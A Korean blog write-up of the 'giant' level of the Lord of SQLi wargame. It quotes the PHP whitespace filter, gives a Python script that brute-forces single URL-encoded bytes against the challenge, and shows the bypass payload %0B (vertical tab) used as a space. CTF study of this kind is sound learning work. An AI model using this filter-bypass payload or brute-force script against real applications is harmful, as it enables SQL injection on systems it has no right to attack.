티스토리 뷰

보안/Wargame

[Lord of SQLi] giant Writeup/문제풀이

돔돔이부하 2021. 9. 4. 05:38
728x90
반응형

if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");

shit 라는 파라미터 하나를 입력 값으로 받는 문제인데, 필터링이 생각보다 철저합니다. 우선 공백문자 대부분이 필터링 되어 있습니다. 그리고 심지어 한글자 이상은 입력도 할 수 없다고 합니다.

그럼 정답은 한 문자라는 것이겠지요. 그렇기 때문에 답이 뭘 지 생각해볼 필요도 없었습니다.

아스키코드표에 존재하는 모든 문자를 대입해보면 되는 것이기 때문입니다.

 

일단 그래도 문제의 의미를 생각해보면 query 문을 보시면 from 과 prob 문자열이 붙어있기 때문에 그 사이에 공백문자가 들어가야지 문제가 풀릴 것으로 보입니다. 필터링 된 공백문자들 외에도 다른 공백문자가 있는 걸까요?

import requests

def SQLI():
	url = "https://los.rubiya.kr/chall/giant_1.php?"
	headers = {
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
	}
	cookies = {
		'PHPSESSID':'세션 값'
	}
	result = ""

	# pw 구하기
	hexStr = "0123456789abcdef"
	for i in hexStr:
		for j in hexStr:
			param = "shit=%"+i+j
			res = requests.get(url+param, headers=headers, cookies=cookies)
			if(res.text.find('Clear!') != -1):
				result += "%"+i+j
				break
	print("[+] Result:", result)

if __name__ == '__main__':
	SQLI()

# [+] Result: %0b

결론은 %0b 라는 문자가 정답이었습니다!

%0b는 무슨 문자이길래 공백문자의 역할로써 맞았던 것일까요?

https://www.asciitable.com/

B에 해당하는 부분을 보시면 되는데요. VT(Vertical Tab) 즉, 세로 탭이라고 합니다. 일반적으로 우리가 알고 있는 Tab(탭)은 가로 탭인데, 세로 탭이 있나봅니다.

잠깐 찾아본 결과로 Vertical Tab의 용도가 프린터에 쓰인다고 하네요. 프린터가 출력물을 프린터할 때 더 빠르게 움직이게 하기 위해서 쓰였다고 하는 데 진짜인지는 잘 모르겠습니다만, 어쨌든 현재는 많이 사용되지 않는 것 같습니다.

Vertical Tab을 우리가 일반적으로 알고 있는 Tab 과의 모양새의 차이점을 얘기하면 다음과 같습니다.

 

아래 문자열이 우리가 일반적으로 알고 있는 Tab 을 사용했을 때의 모습입니다. hello 문자열과 world 문자열 사이에 Tab(\t)을 넣은 모습입니다. 참고로 이 Tab 을 영어로 표현하자면 Horizontal Tab 입니다. 아스키코드표에서는 9 에 해당하는 기호이죠.

hello	world

그리고 아래가 Vertical Tab을 했을 때의 모습이라고 합니다. 여기 글에서 Vertical Tab을 어떻게 하는 지 모르겠어서 그냥 띄어쓰기로 만들었는데, 아래와 같은 결과가 만들어진다고 합니다.

hello
     world

흥미로운 사실입니다.

 

아무튼 그렇게 %0B 가 문제의 답이었습니다. 이로써  (스페이스, %20), \n(개행문자, %0A), \r(캐리지리턴, %0D), \t(탭, %09) 이외에도 \v(Vertical Tab, %0B)가 있다는 사실을 알게 되었습니다.

?shit=%0B

 

- 끝 -

728x90
반응형
댓글